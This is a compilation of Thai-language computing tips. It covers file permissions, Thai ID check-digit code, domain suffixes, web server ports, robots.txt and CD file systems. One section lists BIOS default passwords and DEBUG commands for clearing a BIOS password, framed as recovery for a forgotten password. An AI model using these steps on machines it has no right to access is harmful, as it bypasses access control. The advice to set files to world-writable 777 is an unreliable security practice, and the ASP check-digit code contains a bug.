    7 จะหมายความว่า ผู้ใช้ในอื่น ๆ มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน และมีสิทธิ์ เขียน หรือ อ่าน ไฟล์นั้น (4+2+1)
    (ดูค่าตามตาราง ประกอบ)

    ตัวอย่างเลข 777 จะหมายความว่า ผู้ใช้ในทุกกลุ่ม ไม่ว่าจะเป็นเจ้าของไฟล์ / กลุ่มเดียวกับเจ้าของ / ผู้ใช้อื่น ๆ ทุกกลุ่มที่กล่าวมา มีสิทธิ์ในการกระทำทุกสิ่งกับไฟล์ที่มีค่า CHMOD เป็น 777 เป็นต้น

    ตัวอย่างการใช้งานเช่น ในไฟล์ TEXT ของโปรแกรมเรา อย่างเช่นโปรแกรม COUNTER ที่จะต้องมีการ สั่งให้ทำงาน อ่าน และเขียน อยู่ทุก ๆ ครั้งที่มีการเรียกใช้งานเว็บเพจที่มีการติดตั้งโปรแกรมดังกล่าว ไฟล์ TEXT นั้น จะต้องมีการเปลี่ยนค่า CHMOD เป็น 777 เพื่อให้มีการเขียนไฟล์ได้จากผู้ใช้อื่น ๆ เป็นต้น

    การเปลี่ยนค่า CHMOD ในโปรแกรม FTP

    สำหรับวิธีการเปลียนแปลงค่า CHMOD นั้น ในโปรแกรมสำหรับใช้ในการ Upload ด้วย FTP นั้น โปรแกรมประเภทนี้จะมี Option ที่ใช้ในการเปลี่ยนค่า Permission นี้กับทุกตัวโปรแกรม ผมจะยกตัวอย่างจากโปรแกรม Cute FTP PRO นะครับ

    1. ให้เรา Connect ไปที่ Server ที่เราใช้บริการ จากนั้นให้เราทำการไปยังหน้าทางฝั่งของ Remote Site (ฝั่ง Server)
    2. ให้เราทำการเลือกไฟล์ที่เราต้องทำการเปลียนค่า CHMOD แล้ว Click ขวาที่ไฟล์นั้น จากนั้นจะปรากฏเมนูดังรูป


    3. เลือกไปที่เมนูที่มีคำว่า CHMOD ( FTP บางโปรแกรมอาจจะเรียกว่า Properties)
    4. เมื่อ Click เลือกไปที่เมนูดังกล่าวแล้ว จะปรากฏหน้าต่างให้เราสามารถกำหนดค่า CHMOD ใหม่ลงไปได้ ดังรูป

    5. เมื่อทำการกำหนดได้ตามที่ต้องการแล้ว จากนั้นก็ OK เป็นอันเสร็จสิ้นขั้นตอนการเปลี่ยนค่า Permissions ของไฟล์นะครับ

     

    คัดลอกบทความจาก : www.dwthai.comreserved. This website was created by : S.raksasuk.

    :: มาดูวิธีเช็ค ว่า (เขามั่วรหัสประชาชนรึเปล่า?) ::

    หมอดู แม่นมั่กๆ สามารถทำนายรหัสประชาชนหลักที่ 13 จาก รหัสประชาชน 12 หลักแรกได้ครับ รหัสประจำตัวประชาชน (ขอเรียกสั้นๆว่า รหัสประชาชน) ที่เราจะมาตรวจกันวันนี้เป็นรหัสประชาชน ของคนไทยนะครับ ก่อนอื่น ให้เพื่อนๆ หยิบบัตรประชาชนของเพื่อนๆ ขึ้นมาดูกันเลยครับ

    รหัสประจำตัวของเราจะอยู่ในรูป x-xxxx-xxxxx-xx-x (เลข 13 หลัก) ใช่มั้ยครับ แต่เพื่อนๆ รู้ป่ะว่า จริงๆแล้ว รหัสประจำตัวของเราเนี่ย จริงๆ แล้วมีแค่ 12 หลักเท่านั้น (12 หลักแรก) แต่เลขตัวสุดท้ายเนี่ย เป็น Check Digit ครับ

    Check Digit คืออะไรหนอ?

    Check Digit เป็นตัวเลข 1 หลัก ที่เกิดจากการนำเลขหลักอื่นๆ มา บวก ลบ คูณ หาร กัน และ Check Digit นี่หละครับ จะช่วยให้เราตรวจสอบในเบื้องต้นได้ว่า ข้อมูลที่กรอกมาถูกต้องรึเปล่า

    เวลาเราจะตรวจสอบว่าข้อมูลที่กรอกมาถูกต้องรึเปล่า เราจะคำนวณ Check Digit จากเลขหลักอื่นๆ เพื่อเปรียบเทียบกับ Check Digit ที่เขากรอกมาว่าตรงกันมั้ย ถ้าตรงกันก็แสดงว่าข้อมูลถูกต้องไม่ผิด ไม่มั่ว แต่ถ้าไม่ตรงกัน ก็แปลว่า ข้อมูลที่กรอกมามีข้อมูลซักหลัก หรือ สองหลักที่ผิด เราก็สามารถเตือนให้ผู้ใช้ทราบและกรอกใหม่ อีกครั้งได้

    เอ้า มาลองคำนวณ Check Digit ของรหัสประชาชนเรากันดีกว่า

    ขอยกตัวอย่างรหัสประชาชนนี้ละกันครับ

    1-2015-41462-23-4

    ไหน ตอบหน่อยซิ ว่า Check Digit ของรหัสประชาชนนี้คือเลขอะไรคร้าบ.......
    เอ้า ถามเองตอบเองก็ได้ Check Digit ของรหัสประชาชนนี้คือเลข 4 (เลขตัวสุดท้ายนั่นเอง)
    เรามาดูกันว่า เลข 4 เกิดจากอะไรหว่า? คำนวณมาได้ไง? มั่วอ๊ะเปล่า?

    • ขั้นตอนที่ 1 - เอาเลข 12 หลักมา เขียนแยกหลักกันก่อน (หลักที่ 13 ไม่ต้องเอามานะคร้าบ)

      1 2 0 1 5 4 1 4 6 2 2 3
    • ขั้นตอนที่ 2 - เอาเลข 12 หลักนั้นมา คูณเข้ากับเลขประจำหลักของมัน

      รหัสบัตร 1 2 0 1 5 4 1 4 6 2 2 3
      ตัวคูณ 13 12 11 10 9 8 7 6 5 4 3 2
      ผลคูณ 13 24 0 10 45 32 7 24 30 8 6 6
    • ขั้นตอนที่ 3 - เอาผลคูณทั้ง 12 ตัวมา บวกกันทั้งหมด จะได้ 13+24+0+10+45+32+7+24+30+8+6+6=205
    • ขั้นตอนที่ 4 - เอาเลขที่ได้จากขั้นตอนที่ 3 มา mod 11 (หารเอาเศษ) จะได้ 205 mod 11 = 7
    • ขั้นตอนที่ 5 - เอา 11 ตั้ง ลบออกด้วย เลขที่ได้จากขั้นตอนที่ 4 จะได้ 11-7 = 4 (เราจะได้ 4 เป็นเลขในหลัก Check Digit)

      ถ้าเกิด ลบแล้วได้ออกมาเป็นเลข 2 หลัก ให้เอาเลขในหลักหน่วยมาเป็น Check Digit (เช่น 11 ให้เอา 1 มา, 10 ให้เอา 0 มา เป็นต้น)

    โอ้โห....มหัศจรรย์มาก ยอดเยี่ยมกระเทียมดอง เลขที่ได้ตรงกับเลขหลักที่ 13 ด้วยแหละ...ถ้าไม่เชื่อก็เอาเลขบัตรประชาชนตัวเองมาคำนวณดูสิครับ

    ผมคิดว่าหลายๆ คนคงมีคำถามในใจแล้วหละว่า ทำไมต้องเอามาคูณ 13 ทำไมต้องเอามา บวกกัน ทำไมต้องเอามา mod 11 คำตอบที่ผมให้ได้ก็คือ มันคือวิธีที่ถูกเลือกใช้ในการคำนวณ Check Digit ให้กับรหัสประชาชนครับ แต่ถ้าเราจะคำนวณ Check Digit ให้กับรหัสสินค้า หรือ ISBN ของหนังสือ เราก็ต้องใช้วิธีการคำนวณ ที่แตกต่างกันออกไปครับ

    ในเมื่อรู้วิธีแล้ว เรามาเขียนโปรแกรมตรวจสอบกันดีกว่าผมเขียนไว้ให้หลายภาษาเหมือนกัน ให้เพื่อนๆ เลือกใช้ได้ตามสะดวกนะครับ

    ..........................................................................................
    เวอร์ชัน JavaScript
    <script language="javascript">
    function checkID(id) { 
        if(id.length != 13) return false; 
        for(i=0, sum=0; i < 12; i++) 
            sum += parseFloat(id.charAt(i))*(13-i); 
        if((11-sum%11)%10!=parseFloat(id.charAt(12))) return false; 
        return true;
    }

    function checkForm() { 
        if(!checkID(document.form1.txtID.value)) 
            alert('รหัสประชาชนไม่ถูกต้อง'); 
        else 
            alert('รหัสประชาชนถูกต้อง เชิญผ่านได้');
    }
    </script>
    <form name="form1" onsubmit="checkForm(); return false;"> รหัสประจำตัวประชาชน :
    <input type="text" name="txtID" />
    <input type="submit" value="ตรวจสอบ" />
    </form>
    ..........................................................................................
    เวอร์ชัน php
    <?
    function checkID($id) { 
        if(strlen($id) != 13) return false; 
        for($i=0, $sum=0; $i<12;$i++) 
            $sum += (int)($id{$i})*(13-$i); 
        if((11-($sum%11))%10 == (int)($id{12})) 
            return true; 
        return false;
    }
    ?>

    <form action="?" method="get"> รหัสประจำตัวประชาชน :
    <input type="text" name="txtID" />
    <input type="submit" value="ตรวจสอบ" />
    </form>

    <?
    if(isset($_GET['txtID'])) { 
        if(checkID($_GET['txtID'])) 
        echo "รหัสถูกต้องครับ"; 
        else 
            echo "รหัสที่คุณกรอกไม่ถูกต้องครับ";
    }
    ?>
    ....................................................................................
    เวอร์ชั่น ASP 3
    <%
    Function checkID(id) 
        checkID = False 
        If Len(id) = 13 Then 
            Dim i, sum 
            For i = 1 To 12 
                sum = sum + CInt(Mid(id, i, 1))*(14-i) 
            Next 
            If (11-(sum Mod 11)) Mod 10 = CInt(Mid(id, i, 13)) Then 
                checkID = True 
            End If 
        End If
    End Function
    %>

    <form action="?" method="get"> รหัสประจำตัวประชาชน :
    <input type="text" name="txtID" />
    <input type="submit" value="ตรวจสอบ" />
    </form>

    <%
    If Request("txtID") <> "" Then 
        If checkID(Request("txtID")) Then 
            Response.Write "รหัสถูกต้องครับ" 
        Else 
            Response.Write "รหัสที่คุณกรอกไม่ถูกต้องครับ" 
        End If
    End If
    %> 
    ..........................................................................................

       จริงๆ แล้วถ้าเพื่อนๆ จะเอาไปใช้จริง ก็ Copy ไปเฉพาะฟังก์ชัน CheckID ก็ได้ครับ โดยพารามิเตอร์ตัวแรกของ CheckID ทั้ง 3 ภาษานี้คือ ข้อความที่เก็บรหัสประจำตัวประชาชนไว้ครับ ฟังก์ชันนี้จะคืนค่าเป็น True ถ้ารหัสถูกต้อง และคืนค่าเป็น False ถ้ารหัสผิดครับ

    สรุป
         เราได้เรียนรู้วิธีการตรวจสอบเบื้องต้น (ข้อย้ำว่าเบื้องต้น) เพราะรหัสประชาชนที่ผู้ใช้กรอก อาจมี Check Digit ที่ถูกต้อง แต่อาจเป็นรหัสประชาชนที่ไม่มีอยู่จริงก็ได้นะครับ

     Copyright © 2004-2005 Siamdev.Net Developers Team

    :: Domain Extension ::

    รวบรวม นามสกุล(extension)ต่างๆ ของแต่ละประเทศ เอามาฝาก ว่าของใครมาจากประเทศไหนบ้าง
    A B C D E   F G H I J K L
      Country
    ac
    United Kingdom academic institutions
    ad
    Andorra
    ae
    United Arab Emirates
    af
    Afghanistan
    ag
    Antigua and Barbuda
    ai
    Anguilla
    al
    Albania
    am
    Armenia
    an
    Netherlands Antilles
    ao
    Angola
    aq
    Antarctica
    ar
    Argentina
    as
    American Samoa
    at
    Austria
    au
    Australia
    aw
    Aruba
    az
    Azerbaijan
    ba
    Bosnia and Herzegovina
    bb
    Barbados
    bd
    Bangladesh
    be
    Belgium
    bf
    Burkina Faso
    bg
    Bulgaria
    bh
    Bahrain
    bi
    Burundi
    bj
    Benin
    bm
    Bermuda
    bn
    Brunei Darussalam
    bo
    Bolivia
    br
    Brazil
    bs
    Bahamas
    bt
    Bhutan
    bv
    Bouvet Island
    bw
    Botswana
    by
    Belarus
    bz
    Belize
    ca
    Canada
    cc
    Cocos (Keeling) Islands
    cf
    Central African Republic
    cg
    Congo
    ch
    Switzerland
    ci
    Cote d'Ivoire (Ivory Coast)
    ck
    Cook Islands
    cl
    Chile
    cm
    Cameroon
    cn
    China
    co
    Colombia
    com
    US Commercial
    cr
    Costa Rica
    cs
    Czechoslovakia (former)
    cu
    Cuba
    cv
    Cape Verde
    cx
    Christmas Island
    cy
    Cyprus
    cz
    Czech Republic
    de
    Germany
    dj
    Djibouti
    dk
    Denmark
    dm
    Dominica
    do
    Dominican Republic
    dz
    Algeria
    ec
    Ecuador
    edu
    US Educational
    ee
    Estonia
    eg
    Egypt
    eh
    Western Sahara
    er
    Eritrea
    es
    Spain
    et
    Ethiopia
     
      Country
    fi
    Finland
    fj
    Fiji
    fk
    Falkland Islands (Malvinas)
    fm
    Micronesia
    fo
    Faroe Islands
    fr
    France
    fx
    France (Metropolitan)
    ga
    Gabon
    gb
    Great Britain (UK)
    gd
    Grenada
    ge
    Georgia
    gf
    French Guiana
    gh
    Ghana
    gi
    Gibraltar
    gl
    Greenland
    gm
    Gambia
    gn
    Guinea
    gov
    US Government
    gp
    Guadaloupe
    gq
    Equatorial Guinea
    gr
    Greece
    gs
    South Georgia and South Sandwich Islands
    gt
    Guatemala
    gu
    Guam
    gw
    Guinea-Bissau
    gy
    Guyana
    hk
    Hong Kong
    hm
    Heard and McDonald Islands
    hn
    Honduras
    hr
    Croatia (Hrvatska)
    ht
    Haiti
    hu
    Hungary
    id
    Indonesia
    ie
    Ireland
    il
    Israel
    in
    India
    io
    British Indian Ocean Territory
    iq
    Iraq
    ir
    Iran
    is
    Iceland
    it
    Italy
    jm
    Jamaica
    jo
    Jordan
    jp
    Japan
    ke
    Kenya
    kg
    Kyrgyzstan
    kh
    Cambodia
    ki
    Kiribati
    km
    Comoros
    kn
    Saint Kitts and Nevis
    kp
    Korea (North)
    kr
    Korea (South)
    ku
    Kuwait
    ky
    Cayman Islands
    kz
    Kazakhstan
    la
    Laos
    lb
    Lebanon
    lc
    Saint Lucia
    li
    Liechtenstein
    lk
    Sri Lanka
    lr
    Liberia
    ls
    Lesotho
    lt
    Lithuania
    lu
    Luxembourg
    lv
    Latvia
    ly
    Libya
    M N O P Q R   S T U V W X Y Z
      Country
    ma
    Morocco
    mc
    Monaco
    md
    Moldova
    mg
    Madagascar
    mh
    Marshall Islands
    mil
    US Military
    mk
    Macedonia
    ml
    Mali
    mm
    Mynamar
    mn
    Mongolia
    mo
    Macau
    mp
    Northern Mariana Islands
    mq
    Martinique
    mr
    Mauritania
    ms
    Montserrat
    mt
    Malta
    mu
    Mauritius
    mv
    Maldives
    mw
    Malawi
    mx
    Mexico
    my
    Malaysia
    mz
    Mozambique
    na
    Namibia
    nc
    New Caledonia
    ne
    Niger
    net
    US network
    nf
    Norfolk Island
    ng
    Nigeria
    ni
    Nicaragua
    nl
    Netherlands
    no
    Norway
    np
    Nepal
    nr
    Nauru
    nt
    Neutral Zone
    nu
    Niue
    nz
    New Zealand (Aotearoa)
    om
    Oman
    org
    US Non-Profit Organization
    pa
    Panama
    pe
    Peru
    pf
    French Polynesia
    pg
    Papua New Guinea
    ph
    Philippines
    pk
    Pakistan
    pl
    Poland
    pm
    Saint Pierre and Miquelon
    pn
    Pitcairn
    pr
    Puerto Rico
    pt
    Portugal
    pw
    Palau
    py
    Paraguay
    qa
    Qatar
    re
    Reunion
    ro
    Romania
    ru
    Russian Federation
    rw
    Rwanda
     
      Country
    sa
    Saudi Arabia
    sb
    Solomon Islands
    sc
    Seychelles
    sd
    Sudan
    se
    Sweden
    sg
    Singapore
    sh
    Saint Helena
    si
    Slovenia
    sj
    Svalbard and Jan Mayen Islands
    sk
    Slovak Republic
    sl
    Sierra Leone
    sm
    San Marino
    sn
    Senegal
    so
    Somalia
    sr
    Suriname
    st
    Sao Tome and Principe
    su
    USSR (former)
    sv
    El Salvador
    sy
    Syria
    sz
    Swaziland
    tc
    Turks and Caicos Islands
    td
    Chad
    tf
    French Southern Territories
    tg
    Togo
    th
    Thailand
    tj
    Tajikistan
    tk
    Tokelau
    tm
    Turkmenistan
    tn
    Tunisia
    to
    Tonga
    tp
    East Timor
    tr
    Turkey
    tt
    Trinidad and Tobago
    tv
    Tuvalu
    tw
    Taiwan
    tz
    Tanzania
    ua
    Ukraine
    ug
    Uganda
    uk
    United Kingdom
    um
    US Minor Outlying Islands
    us
    United States
    uy
    Uruguay
    uz
    Uzbekistan
    va
    Vatican City State
    vc
    Saint Vincent and the Grenadines
    ve
    Venezuela
    vg
    Virgin Islands (British)
    vi
    Virgin Islands (US)
    vn
    Viet Nam
    vu
    Vanuatu
    wf
    Wallis and Futuna Islands
    ws
    Samoa
    ye
    Yemen
    yt
    Mayotte
    yu
    Yugoslavia
    za
    South Africa
    zm
    Zambia
    zr
    Zaire
    zw
    Zimbabwe

    :: วิธีการลบหรือยกเลิก Password ใน BIOS เมื่อลืมหรือไม่ทราบ ::

         โดยปกติแล้ว หากใช้เครื่องคอมพิวเตอร์คนเดียว ก็คงไม่มีความจำเป็นต้องตั้ง Password สำหรับเข้าไป Setup BIOS หรือเปิดเครื่อง แต่ถ้าหากได้เคยตั้งไว้แล้วลืม หรือได้เมนบอร์ดมาโดยที่มีการตั้ง Password ไว้และไม่รู้ว่าใช้ Password อะไร ก็มีวิธีการที่จะ Reset หรือ Clere Password ซึ่งอาจจะต้องลองหลาย ๆ วิธีดูนะครับเท่าที่ได้รวบรวมมาดังนี้

    ถ้าคุณไม่ได้ตั้ง password เอง ให้ลองใช้ Default Password เหล่านี้ดูก่อน เพราะอาจจะเป็น password ที่ตั้งมาตั้งแต่แรกก็ได้ (Case Sensitive)

    • AMI
    • Award
    • bios
    • setup
    • cmos
    • AMI_SW
    • AMI!SW/
    • AMI?SW/
    • AWARD_SW

    ทำการ Reset โดยการ Clear CMOS ดังนี้

    • มองหา jumper สำหรับ Reset CMOS ก่อนโดยดูจากคู่มือ หรืออาจจะมองหา jumper ใกล้ ๆ กับแบตเตอรี่ของ CMOS ก็ได้ ส่วนใหญ่จะมีลักษณะเป็น jumper 3 ขา
    • วิธีการ Reset คือทำการ jump ให้ตรงข้ามกับปกติ คือถ้าหากเดิมมีการ jump อยู่ที่ 1-2 ก็เปลี่ยนมาเป็น 2-3 หรือถ้าปกติ jump อยู่ที่ 2-3 อยู่แล้วก็เปลี่ยนเป็น 1-2
    • จากนั้นเปิดเครื่องคอมพิวเตอร์ ทิ้งไว้สัก 5-10 วินาที ปิดเครื่องคอมพิวเตอร์
    • เปลี่ยน jumper กลับมาที่เดิม Password จะถูก Reset

    ทำการถอดแบตเตอรี่ของ CMOS ออก

    ถ้าหากไม่สามารถหา jumper สำหรับ Reset CMOS ได้อาจจะมีอีกวิธี คือทำการถอดแบตเตอรี่ของ CMOS ออกสัก 5 นาทีแล้วก็ใส่เข้าไปใหม่ จะเป็นการตั้งค่าทุกอย่างของ BIOS กลับไปเป็น Default ได้ แต่เมนบอร์ดบางรุ่น จะยังมี Password อยู่โดยจะเป็น Default Password ตามด้านบนนะครับ หลังจากใส่แบตเตอรี่แล้วก็ถ้ายังถาม Password อีกให้ลองใส่ Default Password ข้างบนดู

    ใช้โปรแกรม Reset CMOS เพื่อทำการลบ password

    โดยการใช้โปรแกรม มาทำการรัน เพื่อลบ password ซึ่งวิธีนี้ผมเองก็ยังไม่เคยใช้ ถ้าหากไม่มีวิธีอื่น ๆ แล้วก็ลองกันดูครับ ตัวโปรแกรมที่ว่าเคยเห็นจาก http://www.thaiware.com ครับ

    ใช้โปรแกรม CMOSPWD สำหรับการดู password ที่ตั้งไว้

    โดยการใช้โปรแกรม CMOSPWD มารันใน DOS Mode ซึ่งจะทำให้เราเห็นข้อมูลของ password ได้ แต่ต้องทราบรุ่นของ bios ที่ใช้งานด้วยนะครับ ตัวโปรแกรมนี้หาได้ที่ http://www.tweakfiles.com ครับ

    ใช้ debug ในการลบ password

    อีกวิธีหนึ่งครับ โดยการเรียกโปรแกรม debug ที่จะมีอยู่ใน DOS และสั่งคำสั่งต่าง ๆ โดยมีขั้นตอนดังนี้

    1. บูตเครื่องโดยให้เข้าที่ DOS Mode โดยการกด Ctrl ค้างขณะบูต และเลือกเข้า DOS Prompt
    2. พิมพ์คำว่า debug และกด Enter จะขึ้นเครื่องหมาย - รออยู่
    3. พิมพ์คำว่า o 70 2e และกด Enter ( ตัวอักษร โอ เจ็ดศูนย์ สองหนึ่ง นะครับ)
    4. พิมพ์คำว่า o 71 ff และกด Enter
    5. กด q และกด Enter ครับ
    6. จากนั้น บูตเครื่องใหม่ ถ้าใช้งานได้ ก็จะไม่มีการถามรหัสผ่านเข้า bios อีกแล้ว

    Credit :: www.com-th.net

    :: ติดตั้ง WebServer 2 Service ในWindows ::

         Service ในที่นี้คือ การเปิด Service ให้ WebServer ทำงาน
    ปกติ WebServer จะทำงานที่พอร์ต 80 ( ค่า Default ) ถ้าท่านติดตั้ง 2 Service ในเครื่องของท่าน Web Server จะเปิดทำงาน พร้อมกันไม่ได้ ถ้าต้องการใช้ ควรต้องเปลี่ยนพอร์ต เพื่อ ไม่ให้ชนกัน

    วิธีเปลี่ยนพอร์ต ใน Apache
    ( ถ้าต้องการ ติดตั้ง Apache โปรดดูหัวข้อ ติดตั้ง Apache ใน Windows )
    ให้เข้าไปที่ Path ที่ติดตั้งโปรแกรม /Apache Group/Apache2/conf/
    ชื่อไฟล์ว่า httpd.conf เปิดด้วย Notepad หรือ EditPlus ค้นหาคำว่า
    Listen 80
    แก้เป็น
    Listen 8080
    ServerName localhost:80
    แก้เป็น
    ServerName localhost:8080
    เซฟไฟล์ แล้ว คลิก Stop และ Start Service ของ Apache

    วิธีเปลี่ยนพอร์ต ใน IIS
    คลิกขวาที่ MyComputer เลือก Manage ปรากฏหน้าจอ Computer Management
    รายการ Service and Application > Internet Information Services
    คลิกขวาที่ Default Web Site เลือก Properties
    ปรากฏหน้าต่าง Default Web Site Properties
    เลือก แท็ป Web Site ช่อง TCP Port เปลี่ยนจาก 80 เป็น 8080
    กด Apply และปุ่ม OK
    คลิก Stop และ Start Service ของ IIS
    รูปต่อไปนี้ เปิดพร้อมกัน 2 Service

    รูปข้างบน เปิด Service ของ IIS ทำงานที่พอร์ต 80 โดยใช้ภาษา PHP

    รูปนี้ เปิด Service ของ Apache ทำงานที่พอร์ต 8080 โดยใช้ภาษา PHP

    :: Hello..!! Robot ::

         เครื่องมือ Search Engine ที่แสนฉลาด กับการป้องกันข้อมูล ที่เป็นส่วนตัว
    โรบอต (Robot) เป็นโปรแกรมเก็บข้อมูลในอินเตอร์เน็ต ซึ่งบางครั้ง เรียกว่า
    สไปเดอร์ (Spider) หรือ ครอว์เลอร์(Crawler) จะทําหน้าที่รวบรวมไฟล์ HTML
    เพื่อมาเป็นข้อมูล สําหรับสร้างดัชนีค้นหา ให้กับ เสิร์จเอ็นจิน (Search Engine)
    โดยทั่วไปแล้ว โรบอตจะกลับมาที่เว็บไซต์ที่อ่านไปแล้ว เพื่อตรวจสอบ การเปลี่ยนแปลง
    ตามระยะเวลาที่กําหนด

         ปัจจุบันได้ใช้มาตราฐาน Standard Robot Exclusion [3,4,5]
    ซึ่งใช้กําหนดการทํางานของโรบอต สําหรับเว็บไซด์แต่ละแห่ง โดยที่เว็บไซด์ใดๆ
    สามารถกําหนดได้ว่าจะยอมให้โรบอตตัวใดมาอ่านหรือไม่ อนุญาตให้อ่านข้อมูล
    ส่วนหนึ่งส่วนใดในเว็บไซด์ได้ โดยการสร้างไฟล์ robots.txt ขึ้นมา
    robots.txt จะต้องนำมาวางไว้ที่ Root Directory (ไดเรกเทอรี่เริ่มต้นของเวบไซค์)

    ตัวอย่างไฟล์ robots.txt
    User-agent: *
    Disallow: /cgi-bin/
    Disallow: /tmp/
    Disallow: /logs/

    ความหมาย และคําอธิบาย
    # / robots.txt file for http://cannot.info /
    # mail info at cannot.info for constructive criticis m
    ปิดกั้นด้วย # เป็นคําอธิบาย (comment) เพื่อให้ Spider ไม่สนใจข้อความในบรรทัดนี้
    User-agent : webcrawler
    Disallow :
    อนุญาตให้ webcrawler ทําดัชนีได้โดยไม่มีข้อกําหนด
    User-agent : lycra
    Disallow : /
    ไม่อนุญาตให้ lycra ทําดัชนีที่ Server นี้ โดยปิดกั้นด้วย /
    User-agen : *
    Disallow : /tmp
    Disallow : /logs
    # ไม่อนุญาตให้ Spider อื่นอ่าน /tmp และ /logs

    คลิกดูตัวอย่างจากเวบไซค์จริงที่ pantip.com
    http://pantip.com/robots.txt
    แล้วคุณ..? จะเปิดเผย หรือ ป้องกันไดเรกเทอรี่ ที่เป็นส่วนตัว หรือไม่ !!

    :: Adobe Photoshop CS2 Thumbnails PSD File in Windows Explorer ::

         So where did the Adobe Photoshop CS2 Thumbnails in Windows Explorer go? They simply disappeared! Well actually CS2 no longer supports thumbnail .PSD files in Windows anymore. But using the instuctions below, you can get them back in no time

    1. Download this file to a temporary folder.
    2. Shut down all Adobe programs.
    3. Set a ’system return point’ to allow you to rollback the changes should anything go wrong (if your system supports it).
    4. Unzip it to C:Program Files Common Files Adobe Shell. You could quite likely already have either of the DLL files. No matter.
    5. Run ‘aiicon.dll.reg’ by double clicking it.
    6. Run ‘psicon.dll.reg’ by double clicking it.

    :: CD File System มาตรฐานการจัดเก็บชื่อไฟล์ ในรูปแบบต่างๆ ::

    ISO-9660
    การจัดเก็บไฟล์ในรูปแบบของ ISO-9660 นี้จะถูกแบ่งออกเป็น 3 Level ครับ โดยแต่ละ Level นั้นจะใช้การจัดเก็บชื่อไฟล์แตกต่างกันออกไป โดยจะเน้นไปที่การนำไปใช้งานเป็นหลักนั่นเอง

    ISO-9660 [Level-1]
    สำหรับการจัดเก็บชื่อไฟล์แบบ Level-1 นี้จะเป็นการจัดเก็บชื่อไฟล์ในแบบ 8+3 โดยจะเป็นชื่อไฟล์ 8 ตัวอักษร พร้อมด้วยนามสกุลอีก 3 ตัวอักษร และไม่รวมถึงสัญลักษณ์พิเศษบางตัว โดย Level-1 นี้ถูกออกแบบมาเพื่อนำแผ่นซีดีไปใช้งานกับระบบ DOS เป็นหลัก

    ISO-9660 [Level-2]
    ใน Level-2 อนุญาตให้ตั้งชื่อในรูปแบบที่ยาวกว่าชื่อไฟล์แบบ 8+3 ใน Level 1 ได้ แต่ก็ต้องแลกกับการไม่สามารถนำแผ่นไปใช้กับระบบปฏิบัติการบางตัวได้

    ISO-9660 [Level-3]
    ใน Level 3 นี้จะเป็นการอนุญาตให้ตั้งชื่อไฟล์โดยที่ตัวอักษรไม่จำเป็นต้องติดกันได้ด้วย ซึ่งการตั้งชื่อในลักษณะนี้สามารถนำแผ่นไปใช้กับระบบปฏิบัติการวินโดวส์ และแมคได้ แต่จะมีปัญหากับการนำไปใช้บนดอส ซึ่งไม่สนับสนุนการตั้งชื่อไฟล์ในลักษณะนี้
    สำหรับมาตรฐาน ISO-9660 นี้เป็นมาตรฐานที่นิยมใช้กันอยู่ทั่วไป เนื่องจากว่ามีความยืดหยุ่นและรองรับการทำงานได้หลากหลายไม่ยุ่งยาก จึงไม่น่าแปลกใจว่าหลายโปรแกรมจะใช้เป็นค่าเริมต้นในการเขียนแผ่นซีดีในปัจจุบัน

    Joliet
    ชื่อนี้เชื่อว่าหลายคนคงได้เห็นกันบ่อยมาก โดยเฉพาะใครที่ใช้โปรแกรม Easy CD Creator โดยเป็นการจัดเก็บไฟล์ที่ได้รับการออกแบบมาสำหรับการทำงาร่วมกับระบบปฏิบัติการวินโดวส์ โดยเฉพาะ ซึ่งผู้ที่ตั้งมาตรฐานนี้ขึ้นมาก็ไม่ใช่ใครอื่นครับไมโครซอฟท์นี่เอง ซึ่งการสั่งให้เขียนโปรแกรมในลักษณะนี้จะการันตีได้ในส่วนหนึ่งว่า Windows จะอ่านได้แน่นอน โดยจะสนับสนุนตั้งแต่วินโดวส์ 95 ไปจนถึงเอ็นที 4.0 โดยจะสนับสนุนการตั้งชื่อไฟล์แบบยาวได้สูงสุดที่ 64 ตัวอักษร

    ISO/IEC 13346 (UDF)
    มาตรฐานใหม่ที่จะมาแทน ISO-9660 สนับสนุนการจัดเก็บชื่อไฟล์ในรูปแบบของ UDF หรือ Universal Disk Format ซึ่งในส่วนนี้กำลังเริ่มจะนำไปใช้ในการทำงานร่วมกับแผ่น DVD หรือแผ่น CD-RW บางอย่าง ซึ่งการจัดเก็บไฟล์ในรูปแบบ UDF นี้จะต้องใช้ในกรณีที่เรานำแผ่น CD-RW ไปทำงานร่วมกับโปรแกรม Direct CD ของ Adaptec และระบบปฏิบัติการของแมค ตั้งแต่ OS 8.0 ก็จะสนับสนุนมาตรฐานการจัดเก็บไฟล์แบบ UDF ด้วยเช่นกัน

    Rock Ridge
    อย่างที่ทราบกันครับว่าเป็นมาตรฐานในการจัดเก็บไฟล์ที่ไว้ใช้กับระบบปฏิบัติการ Unix โดย Rock Ridge นี้จะเป็นมาตรฐานที่ได้รับการพัฒนาต่อจาก ISO-9660 อีกทีนึงนั่นเอง แต่ข้อแตกต่างของมันก็คือจะอนุญาตให้ใช้สัญลักษณ์บางอย่างในการตั้งชื่อไฟล์ได้ ซึ่งการจัดเก็บชื่อไฟล์ในส่วนของ Rock Ridge นี้จะสามารถนำไปใช้งานได้ทั้งเครื่อง Unix, Windows และ MSDOS แต่ว่าการจัดเก็บลักษณะนี้จะไม่สามารถนำไปใช้งานในเครื่องแมคได้ด้วย

    HFS
    HFS หรือ Hierarchical File System จะเป็นมาตรฐานการจัดเก็บชื่อไฟล์ในรูปแบบเฉพาะตัวสำหรับเครื่อง MAC เป็นหลัก แทบจะเรียกได้ว่า ISO-9660 เป็นมาตรฐานหลักสำหรับเครื่อง PC เครื่อง MAC ก็มี HFS นี่เอง จริงแล้ว HFS นี้จะมีเครื่อง MAC ที่สามารถอ่านได้ทันที แต่ถ้าจะใช้ใน PC แล้วล่ะก็ได้เช่นกันครับ แต่ทว่าระบบปฏิบัติการที่สนับสนุนการจัดเก็บชื่อไฟล์แบบนี้ก็คือ Linux และ IBM OS/2 นอกจากนี้เครื่อง SGI บางรุ่นยังสนับสนุนการจัดเก็บชื่อไฟล์ในลักษณะนี้ด้วยเช่นกัน

    (ข้อมูลจาก http://network.yru.ac.th/modules.php?name=News&file=article&sid=64 )

    :: Virtual Directory ::

    คือการสร้าง Alias หรือเส้นทางลัด URL ใน Browser โดยไม่มี Directory จริง ที่อยู่ภายใต้
    root ของ WebServer นั้น ก็ได้ ประโยชน์ คือ การใช้ไฟล์ร่วมกัน เช่น Webmail
    หรือ ไฟล์จัดการฐานข้อมูล(Database) เป็นต้น
    ตัวอย่าง
    เวบชื่อ A วางไว้ที่ C:\website\a
    เวบชื่อ B วางไว้ที่ C:\website\b
